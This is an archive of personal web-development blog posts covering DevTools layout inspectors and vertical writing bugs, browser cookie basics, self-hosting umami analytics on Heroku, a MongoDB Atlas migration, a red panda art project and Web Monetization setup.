This was the second iteration of a vertical writing demo that used CSS grid for layout. In 2016, I did not use Grid for this because DevTools was kinda broken when writing-mode was set to vertical-rl. And trying to debug using just my imagination gave me a headache.

Considering the scale of the web, I think use of vertical writing is still fairly tiny, and perhaps that may be why bugs related to vertical writing tend to exist. Time for a quick test of debugging vertical layouts with 2021 DevTools.

Firefox Devtools

Even before doing any verification, I was fairly confident Firefox Devtools would perform admirably for the Grid test. I say this because I had checked when the team fixed all the related bugs for this issue:

So unless the team introduced some regression bugs, I would expect no issues at all.

Moment of truth!

Beautiful. The overlay doesn't affect scrolling at all, the line numbers are labelled correctly. Just the way I expected things to work. Certified fresh!

As for the Flexbox inspector, there aren't that many moving parts that could break due to bugs. The calculations are most probably taken from the actual browser calculations so as long as the browser is sizing the flex items correctly, the layout tool will report the correct size as well.

I guess if I wanted to nitpick this, it would be nice if the shape of the flex item rectangle looks similar to that of the rendered flex item. Or maybe a direction indicator might be nice to have. That being said, I'm fine with the current Flexbox inspector as it is.

Also, not directly related to Devtools but CSS logical properties is the total hotness, my friends! Specifically, logical properties for sizing. I should probably do a dedicated post on why logical properties are a godsend for layouts that are not in the default left-to-right, top-to-bottom flow.

Chrome Devtools

Honestly, I didn't expect it to work as well in Chrome, because even when Firefox first released its Grid inspector, support for vertical and RTL layouts wasn't great. So given that Chrome only released their enhanced Grid inspector late last year, I expected some buggy behaviour.

Okay, let's give it a shot.

Hmmm, something is a little bit off here…

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Scrolling with the overlay active was a little janky, and the overlay lines are off-kilter. Again, this is not unexpected. And when I checked the Chromium bug tracker, lo and behold, someone already filed the issue: Issue 1203251: Grid overlay is misplaced for CSS grids with a vertical writing mode.

Please do me a favour and star this issue! It's not a guarantee that this will make the bug get fixed immediately, but it is a signal that folks care about this working correctly.

Time to give Chrome's new Flexbox inspector a spin as well. The overlay looked fine, so nothing much to say there. I was very fond of the Alignment tool and for the most part, it seemed to work okay. But as I was messing around, I found a pretty obscure “blink-and-you-might-miss-it” bug.

Wait a minute… did my text just get left behind?

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

I did log a bug on the Chromium bug tracker, if anyone is interested. Issue 1206903: Alignment tool causes incorrect rendering for vertical layout. I think my issue is related to this one: Issue 1120156: CSS Grid align-items: end; with vertical writing-mode doesn't work properly in a Flexbox.

And in the process to trying to document the bug properly, I found another weird behaviour for Flex items in a vertical-rl environment in Chrome (or Chromium, since Edge has this issue as well).

Hey, why is my text lagging?

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

If I were to describe this in words, it would be, when the document is in vertical-rl mode, content within a flex item does not respond to viewport resizing on the x-axis.

I wonder if all these issues are somehow related. But I also raised a separate issue to document my specific use-case. Issue 1206914: Content within flex item renders incorrectly when writing-mode is vertical-rl

Safari Devtools

Safari's Grid inspector in Devtools is even newer than Chrome's, and technically haven't been released yet, since it is only in Safari Technology Preview at the moment. I suppose this is the best time to test it out.

Let's see how this goes:

Okay, something is a little off at the moment. Scrolling performance with the overlays active was fine, but the line numbers do not respect the writing-mode direction, and the overlay wasn't accurately positioned over the grid element either.

But I went over to Webkit's bug tracker and found: Bug 224051 - Web Inspector: Grid overlay does not honor writing modes and RTL layout direction. It appears that the issue had been flagged and fixed, so I'm guessing the next Safari Technology Preview release would contain this fix. 🚀

Update!
The bug has been fixed and resolved in Safari 124. Updating here because I just got the version bump. What a difference a day makes 💃.

Wrapping up

Hokay, it's time to wrap up “Hui Jing breaks things yet again” segment. I want to say thank you to all the browser engineers who are busy fixing all these bugs and working hard to make the web a better experience for all of us. 🙇‍♀️

Credits: OG:image from alto0908 on Instagram

DevTools for CSS layouts 2021 edition

Fri, 23 Apr 2021 05:53:22 GMT

As someone who loves and works with CSS on an almost daily basis, DevTools are something near and dear to my heart. Recently, I've been seeing updates from both the Webkit and Chrome team about updates to layout-related DevTools features and thought it'd be nice to do a write-up about them.

Even though I've never gotten a job at any of the browser companies before, I have been incredibly lucky to have had numerous opportunities to meet and chat with folks from Mozilla, Google and Apple. And they have been really generous with their time and knowledge.

I'm personally convinced that DevTools can be more than just a debugging tool, it can potentially be a source of guidance right in our browsers. And with the way things are going, I think this might be becoming a thing.

I have spoken about DevTools for CSS at a couple of conferences and had always used Firefox for them because it had the most features for CSS layouts since 2019. They came out with the Flexbox inspector in Firefox 65, in January 2019. And now, more than 2 years later, Chrome is adding that feature to its DevTools as well.

Firefox's grid inspector was pretty full-featured from the get-to and released together with CSS grid in Firefox 52. It was constantly improved upon since. Chrome added a basic grid inspector tool in Chrome 62 that let developers highlight elements using grid layout, but more robust features were only added in Chrome 87. And now, Webkit has joined the party, as Safari Technology Preview 123 adds Grid inspecting features as well.

Okay, enough history. More story in this Smashing Magazine article, if you're interested. Now, it's time for what we have on hand in 2021.

Flexbox inspector

Firefox 65 and later (January 29, 2019)
Chrome 90 and later (April 14, 2021)

Data on support for the mdn-css__properties__flex feature across the major browsers

Flexbox is a feature that has been around for a long time now, but can still be confusing to wrap your head around. I admit I too have made a joke about that on stage but it was to highlight the importance of having a Flexbox inspector in DevTools.

“Flexbox, where nobody knows the exact size of anything”

Flexbox explained by @hj_chen 👌😅 #ViewSourceConf pic.twitter.com/2zE7ay6VSa
— Milica Mihajlija (@bibydigital) October 1, 2019

Firefox Flexbox inspector

In Firefox, you can toggle the Flexbox overlay by clicking on the flex tag in the Inspector, clicking the little 2-box icon next to the display value of flex in the Rules panel or directly from the Layout panel. The panel will also show you the flex direction and wrap status on the Flex container.

The information about Flex items is my favourite feature of this tool, which shows up when you click on any of the Flex items in the Layout panel. It shows you the starting width from which the browser figures out the size of your flex item, then the subsequent calculations that give you the end size.

Chrome Flexbox inspector

If you already have Chrome 90 (which was stable release as of 14 April 2021), you should be able to see a flex tag in the Inspector on elements which are Flex containers. Clicking that would toggle a Flexbox overlay, and multiple overlays can be active at the same time. You can also do this toggling in the Layout panel.

If you're in the Styles panel, where all the CSS rules are listed, you should see an icon that looks like a 六索 mahjong tile to my Chinese brain. Chrome made a UX design choice to put the flex information like direction and wrap in a pop-up when you click the icon.

But that's not all, you can switch up the different alignment properties from this interface directly. And here's where I think that as people use this feature more and more, they are sort of teaching themselves these alignment properties, and of course, being able to see what happens on the page as they toggle through the different values also helps.

Toggle different alignment values

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

As you can see, there are feature differences between the 2 browsers, but don't we all have multiple browsers installed on our machines when we're working in this industry? ¯\_(ツ)_/¯

Grid inspector

Firefox 52 and later (March 7, 2017)
Chrome 62 and later (October 17, 2017)
Safari Technology Preview 123 and later (March 31, 2021)

Data on support for the mdn-css__properties__grid feature across the major browsers

To me, the release of CSS grid will always be a milestone and game-changer for the world of web design. But with it came an unavoidable mindset shift when it came to thinking and designing layouts for the web. Grid is also a fairly meaty module with numerous properties and it's totally normal for folks to feel intimidated at first.

Firefox Grid inspector

I think Firefox made the absolute right call when they shipped a solid suite of Grid tools together with CSS support at the same time, because it made the on-boarding process of using Grid so much smoother.

Like the Flexbox overlay, the Grid overlay can be toggled either from the grid tag in the Inspector, clicking the little waffle-like icon next to the display value of grid in the Rules panel, or directly from the Layout panel.

The Firefox Grid inspector had the ability to display line names, line numbers and area names from the start. They gradually added the ability to toggle the overlay for multiple grids, and some UX fixes for labels at the edge of the viewport.

Firefox also displays the sizing of grid items via a slightly different UX from Chrome and Safari (as you will see in the later sections). In the Layout panel, there is a miniature grid of what is being highlighted on the page, and hovering over each grid cell will show you it's sizing, as well as the size of the grid area, if the cell is a part of one.

What's nice about Firefox DevTools is that they ship the corresponding DevTools feature with the CSS feature being rolled out, for example, the animating of grid rows and columns. So you can see what exactly is being animated. And I must say, the rendering of overlays and labels seems smoother on Firefox for now.

Animation of grid rows and columns

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Speaking of features that are currently only supported in Firefox, we have to mention CSS Grid Level 2, which specifies Subgrid.

Subgrid is currently only supported in Firefox, which had it since Firefox 71 (released December 3, 2019). The necessary support for subgrid in DevTools was also rolled out at the same time.

Having DevTools show you how the browser is interpreting grid lines is really helpful for understanding how subgrid works. Because the line numbers for each subgrid start from 1, even if they are in some other position on the parent grid. Margins, paddings and borders for nested subgrids are also easier to understand if you can visually see them on the overlay.

Chrome Grid inspector

I was pretty pleased when Chrome 87 rolled around in November last year (2020, for folks who are somehow reading this years later). Because they shipped features to their Grid inspector tool that brought it on par with Firefox's.

Chrome DevTools also added a Layout pane with options to toggle line numbers, names, grid area names and extend grid lines. The ability to display overlays for multiple grids at once and change their colour is also available now. Displaying the sizing of grid cells on the overlay directly has its pros and cons, because if the grid cell is small, the label gets cut off.

But overall, it's a good thing that Chrome DevTools has much better support for Grid now and I hope all DevTools teams continue to iterate on them. As an aside, because Edge is now powered by Chromium, it too has the same Grid DevTools support now.

Safari Grid inspector

Again, immense joy when I saw the release notes for Safari Technology Preview 123 that announced Grid support in their DevTools. The way the Webkit team does things is that as long as a feature is released in Technology Preview, it will 100% make it into the next Safari stable release.

If you don't have Safari Technology Preview installed, you're really missing out because the Webkit team has consistently been putting out cutting edge CSS features in Safari TP. It's really THE browser for CSS early adopters, IMHO.

This new update adds a Layout panel and you can trigger the Grid overlays by clicking the grid tag on Grid containers from the Elements pane. The interface is straightforward, with checkboxes that let you toggle the various grid-related labels. Multiple grid overlays are also supported here.

With folks like Jen Simmons and Razvan Caliman (who have done tremendous work on DevTools for layouts) now with the Webkit team, I'm looking forward to even more DevTools enhancements in future shipping in Safari.

Wrapping up

It's taken a little while, but browsers are really iterating on each other's useful features, which is all the better for web developers and designers like you and I. I'm looking forward even more exciting advances in the world of CSS this year, because I don't have much else to look forward to anywayz.

Meanwhile, wash your hands and mask up always 😷. Stay safe, everyone!

Understanding browser cookies 🍪

Mon, 05 Apr 2021 12:31:04 GMT

Even though I've been doing web things for a while now, I confess I had never dealt with browser cookies other than clicking those cookie notifications on every other website you visit these days.

I mean, I knew that it was a form of storage on the browser, but I'd always used localStorage for that. Recently I was working on something that used browser cookies and I figured it was a good time to figure them out.

Why cookie and not some other tasty snack?

I love the name cookie, but I can't help but wonder if there was a reason for it. Turns out I'm not the only person who had that question. And the inventor of browser cookies, Lou Montulli explained that he had heard the term ‘magic cookie‘ from an operating systems course in college that had a similar meaning to the way his proposed solution for a session identifier worked.

The original problem he was trying to solve was the implementation of an online shopping cart, which eventually led to the original specification for persistent client state, and has since evolved into the current RFC 6265. The first cookies were used to verify repeat visitors to the Netscape website.

So how does this non-edible cookie work?

A cookie is a small plain text file stored in the browser. There isn't anything executable in there. It simply contains a small amount of data. Every browser stores them in a slightly different location (e.g. Where cookies are located in Windows 10, for all web browsers).

The data in the cookie is sent over by the server, stored on the user's browsers, then used in subsequent requests as an identifier of sorts. Cookies are mainly used to remember state (if you are logged in, shopping cart items, user preferences etc.) as well as tracking.

Cookies are created when the server sends over one or more Set-Cookie headers with its response, something along these lines:

Set-Cookie: NAME=VALUE

It could be any name-value pair, but each cookie can contain only 1 name-value pair. If you need more than 1 cookie, then multiple Set-Cookie headers are needed. An example of a server sending over cookie headers to the browser looks something like this:

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: viola=red_panda
Set-Cookie: mathia=polar_bear

As a frontend developer, I must admit I don't debug server-sent headers very often so this is not something I see on a regular basis. Once the cookie is set, all subsequent requests to the server from the browser will also have the cookies in its request header.

GET /demos/cookie/ HTTP/2
Host: huijing.github.io
Cookie: viola=red_panda; mathia=polar_bear

Even though cookies are usually created on the server, you can also create them on the client-side with JavaScript, using document.cookie. Browser cookies also have a number of attributes in addition to the name-value pair mentioned earlier.

Cookie attributes

The cookie name can be any US-ASCII characters except control characters, spaces, tabs or separator characters. The cookie value can be optionally wrapped in double quotes and be any US-ASCII characters except control characters, double quotes, commas, semicolons, backslash and whitespace.

Adding special prefixes to the cookie name also forces certain requirements. If your cookie name starts with __Secure-, it must be set with the secure flag from a page served with HTTPS. If your cookie name starts with __Host-, it must be set with the secure flag from a page served with HTTPS, it must not have a domain specified and its path must be /.

The rest of the attributes are optional but can impact cookie behaviour significantly depending on what values are set.

Expires=<date>

When a cookie passes its expiry date, it will no longer be sent with browser requests, and instead will be deleted. The date value is a HTTP timestamp.

Max-Age=<number>

Also related to a cookie’s expiry, but in seconds. After the specified amount of time, the cookie will expire, so setting it to 0 or a negative number means instant expiry. Max-Age takes precedence over Expires if both are set.

Domain=<domain-value>

Specifies the host where the browser cookie gets sent to. Only a single domain is allowed. If not present, this defaults to the current document URL’s host. When specified, all sub-domains are included as well.

Path=<path-value>

Cookie will only be sent if the path exists in the current URL

Secure

Cookie will only be sent when the request is made with HTTPS

HttpOnly

JavaScript cannot access the cookie through document.cookie (to mitigate XSS attacks)

SameSite=<samesite-value>

Specifies if a cookie is sent with cross-origin requests.

Strict means the cookie is only sent for requests originating from the same URL as the current one.
Lax means the cookie is not sent on cross-site requests, but will be sent if the user navigates to the origin site from an external site.
None means the cookie will be sent on both same-site and cross-site requests, but can only be used if the Secure attribute is also set.

If you use Firefox, you may notice a console log message like this on some websites.

Back in August 2020, Mozilla made the decision to treat cookies as SameSite=Lax by default, and require cookies with SameSite=None to also set the Secure attribute. The original behaviour for cookies was SameSite=None but this leaves users susceptible to Cross-Site Request Forgery attacks.

Both Chrome and Firefox has rolled this out, but it seems like only Firefox displays the console log warning? If you can verify the console logging situation, please let me know.

Using cookies to do stuff

Cookies without an Expires or Max-Age attribute are treated as session cookies, which means they are removed once the browser is closed. Setting a value on either Expires or Max-Age makes them permanent cookies, since they will exist until they hit their expiry date.

Again, I usually don't do server-side stuff so I'll only talk about messing around with cookies on the client-side. The Document has a cookie property that lets us read and write browser cookies via JavaScript.

To see all cookies associated with the document, use document.cookie. You can type this in the browser's console and see something like this:

To create a new cookie, you can do something like this:

document.cookie = "xiaohua=tortoise"

If you need more than one cookie, you'll have to do this for every cookie you want to create.

Even if you refresh the page, the cookie should still be there. To get rid of the cookie, or reset it, you can set the Expires value to the beginning of time itself, Thu, 01 Jan 1970 00:00:00 GMT. I'm semi-kidding. Just in case you never heard of this interesting (and fairly important) piece of trivia, I shall quote MDN:

A JavaScript date is fundamentally specified as the number of milliseconds that have elapsed since midnight on January 1, 1970, UTC. This date and time are not the same as the UNIX epoch (the number of seconds that have elapsed since midnight on January 1, 1970, UTC), which is the predominant base value for computer-recorded date and time values.

For example, if I wanted to get rid of the taria cookie, I would do this:

document.cookie = "taria= ;expires=Thu, 01 Jan 1970 00:00:00 GMT"

Because cookies are strings, doing things based on cookie data involves mostly string manipulation. So I won't go into that in detail, but here's a ridiculous demo you can play around with, ideally with DevTools open. It just randomly assigns a group cookie, then shows you something different based on that.

Update: Thomas Steiner shared about the Cookie Store API and its polyfill which lets us avoid having to the do not fun string manipulations mentioned above.

Wrapping up

It's been a while since I last published anything. I suppose this is the longest hiatus I've had since I started this blog, but somehow being stuck in the same place doesn't seem to motivate me to write words. But we'll see.

Meanwhile, go eat some of your favourite cookies.

Resource links

Cookies, Chaos and the Browser: Meet Lou Montulli
Using HTTP cookies
Set-Cookie on MDN
Document.cookie on MDN

Credits: OG:image from Red Panda Loves Cookies video on Oregon Zoo Youtube channel

Setting up umami on Heroku

Thu, 08 Oct 2020 12:31:04 GMT

I migrated this website from Jekyll to Hugo about half a year ago and also took the opportunity to move hosting from GitHub Pages to Netlify. What I didn't think to take care of at the time was site analytics.

I had been using CloudFlare to serve my site out to the interwebs and I seem to remember entering some GA code in the settings years ago. So I guess CloudFlare was handling the Google Analytics stuff? Clearly, I HAVE NO IDEA.

Anyway, I had no GA script on my website at all back then. So when I migrated over to Hugo, there was no GA script on the "new" site either. But because I now only used CloudFlare for DNS only, I guess the traffic wasn't served via CloudFlare any longer and hence no more numbers?

As you can tell by now, I don't really care for analytics (on this site, at least). Because it took me 4 months to realise there were no numbers flowing into my GA dashboard (I log in maybe twice a year).

After putting two and two together and realising what had happened, I figured there was no point adding the script back since I never did anything useful with the data anyway.

What is this umami thing?

Now that I've set the context, let's talk about umami, an open-source self-hosted website analytics app. About a month ago, an article by Mike Cao on how he built umami in 30 days was making the rounds among web developer circles.

I took a look at it, and the live demo, and found it so much easier to understand than Google Analytics. It told me how many people visited my site (and pages), how long they stayed, which geographical location traffic was coming from and browser/OS numbers.

These are data points that my tiny little brain actually comprehends. Ah-mazing. I felt like less of an idiot at this point. It was always at the back of my mind to get around to setting it up, because the documentation provided very clear instructions for doing so.

I finally got around to doing it after Wei and I launched the Fluffy Philharmonic website. This is our music/art/web project about a group of fluffy musicians who love music, centred around a red panda named Viola, who loves playing the viola.

On the site, we introduce all our musicians and publish a web comic about stories that come to mind when we hear certain pieces. Even if classical music isn't your thing, we think our characters are pretty cute, so please check out this passion project of ours. We are also selling stickers at https://redviolapanda.com if you'd like to support our efforts.

We figured it might be interesting to see what kind of audience lands on our site. Cue umami (actually I simply asked Wei if we could try umami for analytics, she said sure, so here we are).

Application setup on Heroku

Please read the umami documentation because it's really well-written. For running umami, you need an application server running Node.js 10.13 or newer, and a database (either MySQL or PostgreSQL).

Deploying an application on Heroku is fairly straightforward, especially if you have connected your GitHub account. You can either fork or duplicate the umami repository, then connect your Heroku application to your repository from the Deploy section of the dashboard.

Database setup on Heroku

The database setup bit was more tricky for me because I hadn't used Heroku's Postgres addon before. You can do it via command line but I wasn't really a Heroku power-user so it was pointy-clicky for me.

I went through the motions of installing Heroku Postgres and provisioning it to my application as per the guided workflow. After that, I could see Heroku Postgres attached as DATABASE from the Resources section of the dashboard.

According to documentation, you would want to create a database for your umami installation by running the following command:

psql -h hostname -U username -d databasename -f sql/schema.postgresql.sql

To do that on Heroku, I suggest doing it via command line, so install the Heroku CLI. I'm using a Mac, and also installed postgresql via homebrew so I could use the psql command. Actually, I'm not sure if that was necessary. You could just do the Heroku CLI and see if that works out-the-box.

Okay, now, the part which required much Googling. How do you run sql scripts on Heroku? I found this StackOverflow answer by John Beynon, which explains how to decipher the required parameters from the DATABASE_URL in your app config settings.

So from:

DATABASE_URL: postgres://username:password@host:port/dbname

You can break it down into:

psql -h host -p port -d dbname -U username -f datafile.sql

In my case, this worked out into something that looked like this:

heroku run psql -h YOUR_HOST_IP.compute.amazonaws.com -U HEROKU_ASSIGNED_USERNAME -d HEROKU_ASSIGNED_DBNAME -f sql/schema.postgresql.sql -a APPLICATION_NAME

You will end up with a login account with username admin and password umami. You can change this once you log into your umami instance from the Profile section under Settings.

Wrapping up

I've been running it for a week, and am pretty happy with how it's working. It hasn't had an impact on site performance thus far (our Lighthouse score fluctuates around 98-100). But depending on your site traffic, odds are you will hit the threshold of 10,000 rows on the Hobby Dev free tier.

If you are happy with it and want to continue using umami, you should probably upgrade to a higher tier on Heroku, or search for some other service that doesn't have such limits. I'll leave that research up to you.

Migrating mLab to MongoDB Atlas

Mon, 05 Oct 2020 03:59:11 GMT

Well, well, well. It's that time again when I revisit some random thing I built years ago and brace myself for the extent of potential code rot.

Confession time. I'm the kind of person who runs brew update; and brew upgrade every day. Update first, fix if breaks, is my general way of doing things. In my defense, I only do this for projects I'm wholly responsible for. More restraint is exercised for projects that will impact others.

Anyway, the project in question was this CRUD app I wrote back in 2017 for tracking library books I wanted to check out. I did write a blog post about that as well. It was so long ago that I actually chuckled when I read it, which is great because if nobody else appreciates my brand of humour, at least I know I still do 🤪.

Why migrate? Why now?

Excellent question. I didn't plan it. A little while ago, I got a notification email from mLab that they had been acquired by MongoDB and were asking their users to migrate over to MongoDB Atlas.

Apparently this was announced on October 9, 2018. Clearly I was not paying attention. I only had one database with mLab anyway and it was for an app with an audience of one, myself. Anyhoo, this is a short documentation of the migration process (which was fairly straightforward except for some tiny issues I ran into) if anyone else also plans to migrate.

Because my little app is so little, the free tier offering was more than enough. I also never had reason to actually log into mLab to look at my database because, like, why?

So if you too forgot what the interface looked like, here it is. Now with a reminder banner to MOVE YOUR SHIT NOW! (not in those words, but still). Targeted at folks like yours truly who disregarded the announcement for the past 2 years.

Does it still run on local?

This is a legitimate concern since I never bothered to isolate my development work in separate environments. Also, I thought it was a great idea to just update everything in package.json because why not?

The only major impediment to getting the app to run was this message:

3:06:32 PM dev.1 |  const authMiddleware = auth.connect(basic)
3:06:32 PM dev.1 |                              ^
3:06:32 PM dev.1 |  TypeError: auth.connect is not a function

3 years in, I honestly cannot remember why I went with that implementation but I know I was too lazy to do any proper user management and just wanted the most rudimentary HTTP authentication. The http-auth package offers this, but I was clearly not using it in the way their documentation specified.

Maybe things changed over 3 years. No matter, just follow the examples provided in the documentation and we're good to go. Turns out there were no breaking changes after bringing all the dependencies up to current. Looking back at my commit log, I apparently fixed a breaking change with MongoDB back in 2018. I just can't remember anymore.

After that was settled, it was migration time.

Life is slightly easier with clear documentation

First thing I did was click the link on the banner, which directed me to the documentation on how to migrate. I appreciate the clear and granular instructions and once you sign up for an account on MongoDB Atlas, you can see the workflow integration they built in for migration which you can take advantage of once you connect your mLab account.

The wizard ran for me without too much trouble, so hopefully it works out as smoothly for you as well. Where I ran into trouble was getting my app to connect to the new database. Disclaimer, I don't think this is an mLab/MongoDB Atlas problem. More of a the-issue-is-between-the-monitor-and-the-chair kind of problem.

On the app side, the only change was for the command to connect to the database. The format provided by mLab is something like this:

mongodb://<dbuser>:<dbpassword>@<mlabhost>:<portnumber>/<dbname>

It was a copy-paste and it works situation when I set it up back in the day. The format used by MongoDB Atlas is slightly different and the trick was figuring out what it was to connect successfully.

Atlas provides this URI to copy-paste into your application code.

mongodb+srv://admin:<password>@<atlashost>/<dbname>?retryWrites=true&w=majority

I assumed the credentials from my mLab database would be ported over with no issues but I kept running into authentication issues.

4:31:54 PM dev.1 |  MongoNetworkError: failed to connect to server [library-shard-00-01.eljl3.mongodb.net:27017] on first connect [MongoError: bad auth Authentication failed.

In the end, I gave up and reset the admin password from the Atlas dashboard. If you run into similar authentication issues, you could try this as a last resort? Anyway, if you put this off like I did for 2 years, now is a good time to move your stuff because the deadline for migration is December 8, 2020. Just saying.

What is RedViolaPanda?

Sun, 30 Aug 2020 01:36:27 GMT

This is a question that is impossible to explain with a short answer. But let's give it a try. Red pandas are very cute and very fluffy. Violas are part of the string instrument family. And… okay, can't be done. Long-winded story time!

So my most mathy best friend, Wei, is also my most musical friend. And she used to play the violin for many years. Recently, she decided to start playing the viola and discovered that it was THE instrument for her.

Note that we both are certified experts in the field of nonsense, hence it is not a surprise that shenanigans are a regular part of our lives.

shenanigans are afoot...
is dis @wgao19 and myself's secret tail project?
who knows...
stay tuned to @redviolapanda pic.twitter.com/hpTS6e7gBP
— HJ Chen (@hj_chen) August 4, 2020

Anywayz, we are very fond of the aforementioned fluffy red panda. One day, Wei asked if I could draw a red panda hugging a viola.

…
…
…

OF COURSE I can draw a red panda hugging a viola.

And so, Project RedViolaPanda (AKA the secret tail project) became a thing.

Moar backstory

What started out as one red panda playing a viola soon grew into a jambalaya of fluffy musicians, now known as the Fluffy Philharmonic. Naming things is hard but I think we knocked this one out of the park.

Broadly speaking, Wei comes up with the ideas and stories, and I convert them into pictures and words. It's a great collaboration. Like kaya and butter.

We often draw inspiration from anything and everything around us, nothing is safe. So many storylines that we have a GitHub project board to track ideas. Because we are very serious about our nonsense.

Most of what we come up with are loosely based on true stories/events/people.

Loosely.

So loosely that unless you're us, you probably can't make the connection. It's fine. Means zero liability for us.

At the moment, we have:

Viola, the red panda
Taria, the metronomic kitten
Osca, the trash panda
Mathia, the polar bear
Puff de Papa, the giant panda
Arctica, the white fox
Gianluka, the giraffe
The hotpot shiba friends (lol, this is another long-ish story)
Edva, the monkey
Yet-to-be-named woolly mammoth
Yet-to-be-named hedgehog
The fluffy fan club (individual members yet-to-be-named)

But odds are, by the time you read this, our Fluffy Philharmonic family would have grown yet again.

And what's the point of this?

Well, we're not big on plans. Right now, we have our first set of stickers featuring Viola the red panda, and her beloved viola (whose name is Ginger), on our online store.

Our entire business in a box

We also have a Twitter and an Instagram account that we haven't figured out what to do with, but if you'd like to follow us there, that'd be nice. For now, we post random links about classical music and will probably do some product shots, I guess?

At this point, we have enough stories to maybe do something like a 4-panel comic for some of them. So a website is definitely in the works. As an un-trained un-professional, I have a very slow and un-organised creation process, so please stay tuned.

Patiently.

It might not be great. But it will at least be… nubbad.

Monetizing Your Blog With Coil

Fri, 03 Jul 2020 14:16:41 GMT

I've had quite a bit on my plate lately, a sort of bit-off-more-than-I-could-chew situation, which is not an uncommon occurrence for me. Which is why, amid all the excitement about building up webmonetization.dev, learning more about the underlying technology and so on, I was reminded that I had yet to implement web monetization on my own site.

Pretty much my face when I realised…

However, I'm very glad to announce that, even though I spent a lot of time digging into the technology documents, articles and talks around web monetization and interledger, the actual implementation of it on my own site took less than a fraction of the time.

The bulk of the set up involved registering an account with the relevant services so you could have a payment pointer that you would put in the <head> of your site. My content is this blog, which is simply a static site (which made it reasonably straightforward to implement Web Monetization).

Who's who in the world of Web Monetization

Web Monetization is a JavaScript browser API which allows the creation of a payment stream from the user agent to the website. This is what it says on the website. But what that means is that you can passively generate income by implementing a meta tag on your site.

This payment stream runs on the Interledger Protocol, which is an open protocol suite, analogous to TCP/IP. Instead of data packets, this protocol handles the routing of payment packets. So far, these 2 commonly seen terms are referring to the technology.

So then, what is Coil? It is a San Francisco based startup that provides a platform for creators to get paid for their content. Their current product is a flat-rate subscription for consumers to support their favourite content creators with payouts made via Web Monetization.

The difference between Coil and platforms like Patreon or Buy me a coffee is that you don't have to pick which creators you want to pay. With your monthly subscription to Coil, you are free to browser any creators' content and Coil will pay them accordingly.

On the creator side (e.g. myself), your Coil account is free. You don't have to pay Coil to use web monetization because it is not tied to any corporation or entity. It is simply a meta tag which contains your payment pointer. Coil will ask you for your payment pointer so it knows where to send you payments.

It is natural to associate Coil with this technology because right now, they seem to be the only folks using it, but hopefully in the near future, there will be more platforms that utilise web monetization as well.

Grant for the Web is a fund. To be more precise, it is a $100M fund to promote web monetization by encouraging open, fair and inclusive standards as well as innovation in this space.

Setting up the required accounts

Even though you don't need a Coil subscription as a creator, you do need a payment pointer and a free creator account. And for that, you need a digital wallet that supports the Interledger Protocol. For now, there are 3 providers listed on the documentation, namely Uphold, Gatehub and Stronghold.

I am currently based in Singapore and ideally would like a fuss-free way to get Singapore dollars (SGD). That's why I went with Uphold, because it supports a rather wide range of currencies and commodities, including Singapore dollars.

My only complaint with Uphold at the moment is that lots of things that I'm used to self-serve, like updating my full name and changing my email address, requires you to raise a support ticket. But maybe this will change once they get more users? Who knows…

Coil is currently working on their documentation and you can check it out at the Coil Help Center. If you're a creator trying to monetize your site, you should go to the section on Digital wallet accounts & payment pointers.

Links to the 3 wallet providers I mentioned are available there, and no matter who you choose, you should end up with a payment pointer. There are very detailed step-by-step instructions for each of the wallet providers, so I won't repeat them here. Here's the one for Uphold.

Once you have your payment pointer, Coil will ask you to enter it as part of the registration process. This is so they can help you generate the requisite meta tag to put in the head of your website. That can be found later under the Monetize content section of your account page.

Coil also offers the option to post content on their site, either as a full blog post or a link to wherever else your content might be hosted. If the link you're posting is not web monetized, Coil will let you know to include the requisite meta tag.

Monetize your content

If you have a website or blog, copy the generated meta tag and include it in your site. Regardless of whether you have full control of the structure of your site, or you are using some service like Wix, as long as you can add a custom meta tag to your site, you will be good to go.

There are also numerous plugins and integrations folks in the community have created and shared so I suggest searching for “YOUR_TECH_STACK web monetization” on Google and see what hits you get.

For my blog, which is a Hugo-generated static site, I added this line to the head partial of my base layout:

<meta name="monetization" content="$ilp.uphold.com/UHgjUa7kRNJF" />

That's it really. One line in the head of your website. I had never monetized anything on my site before ever since its inception in 2013, so it was pretty cool to get a notification saying that I got 3 cents from the Interledger Protocol.

I have since amassed a grand total of 43 cents, and I think it's amazing. Will I get rich from this? Probably not in the near future, but hey, I hadn't earned a cent for the past 6 years, so 43 cents is amazing.

To be fair, the biggest reason I never got into including ads on my blog is simply because my design/layout doesn't have any spare room for ads. Also, it would totally ruin the overall theme of my site to have ads to begin with. Web monetization doesn't have these issues, so I'm very happy to add it to my site.

Wrapping up

I am currently working on writing up content for A Guide to Web Monetization, which basically is trying to fill the gap for information most relevant to content creators who want to use web monetisation. If there is anything you are interested or have questions about, feel free to reach out. I'd love to hear what type of information is most useful to you.

Credits: OG:image from framereim on Instagram

Let's talk about Web Monetization

Sun, 14 Jun 2020 00:00:00 GMT

Some of you may have been seeing some buzz around the Web Monetization API recently, especially if you hang out on DEV.to quite a bit. Perhaps you've seen mentions of “Grant for the Web”, “Coil” or “Interledger” among many other names and terms and are trying to make sense of it all. Let me try to lay it all out for you.

I'll be honest, the first time I heard about Web Monetization was at View Source 2019 when I met Christopher Lawrence for a chat over coffee. He shared with me what Grant for the Web was all about and what they wanted to achieve. And that's how I eventually got involved as one of the ambassadors for the program.

The concept of an alternative to ads for content creators to earn money sounded intriguing. For the longest time, there were not that many options to earn money for content you put on the web. You could either ask folks to pay you for your content somehow via payment platforms or subscriptions or you could place ads all over your site.

Let's rewind back a couple of years

In October 2015, Stefan Thomas and Evan Schwartz released a whitepaper titled A Protocol for Interledger Payments which proposed a protocol for payments across payment systems by enabling secure transfers between ledgers. At the time, both gentlemen were part of Ripple, at enterprise blockchain company founded in 2012.

Read the #Interledger white paper for a more thorough exploration of our protocol: http://t.co/qxDkHVIZgq
— Interledger Protocol 💸 (@Interledger) October 6, 2015

The Interledger Project itself is open-source and not tied to any single company, blockchain or currency. Interledger itself is a network of computers that enable the sending of value across independent payment networks, and the Interledger Protocol defines how it all works.

